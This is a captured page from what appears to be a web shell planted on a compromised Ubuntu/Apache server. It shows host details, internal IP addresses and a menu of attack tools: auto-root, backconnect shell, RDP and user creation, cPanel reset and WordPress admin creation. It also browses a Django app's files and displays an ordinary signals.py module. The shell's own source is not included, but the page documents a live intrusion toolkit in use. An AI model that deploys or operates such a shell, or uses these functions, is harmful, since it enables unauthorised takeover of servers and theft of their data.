Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
vicas-dev /
register /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
migrations
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
__init__.py
0
B
-rw-r--r--
admin.py
129
B
-rw-r--r--
apps.py
415
B
-rw-r--r--
forms.py
1.1
KB
-rw-r--r--
models.py
963
B
-rw-r--r--
signals.py
1.51
KB
-rw-r--r--
tests.py
60
B
-rw-r--r--
urls.py
619
B
-rw-r--r--
utils.py
426
B
-rw-r--r--
views.py
3.5
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : signals.py
# # from django.db.models.signals import post_save # # from django.dispatch import receiver # # from django.contrib.auth.models import User # # from django.contrib.auth import get_user_model # # from .models import Profile # # User = get_user_model() # # @receiver(post_save, sender=User) # # def create_user_profile(sender, instance, created, **kwargs): # # if created: # # Profile.objects.create(user=instance) # # @receiver(post_save, sender=User) # # def save_user_profile(sender, instance, **kwargs): # # instance.profile.save() # # register/signals.py # from django.db.models.signals import post_save # from django.dispatch import receiver # from django.contrib.auth.models import User # from .models import Profile # @receiver(post_save, sender=User) # def create_user_profile(sender, instance, created, **kwargs): # if created and not instance.is_superuser: # <-- this check added # Profile.objects.create(user=instance, phone="", address="") from django.db.models.signals import post_save from django.dispatch import receiver from django.conf import settings from .models import Profile, CustomUser @receiver(post_save, sender=CustomUser) # Important: CustomUser not User def create_user_profile(sender, instance, created, **kwargs): if created: Profile.objects.create(user=instance) @receiver(post_save, sender=CustomUser) # Optional: Auto save profile on user save def save_user_profile(sender, instance, **kwargs): if hasattr(instance, 'profile'): instance.profile.save()
Close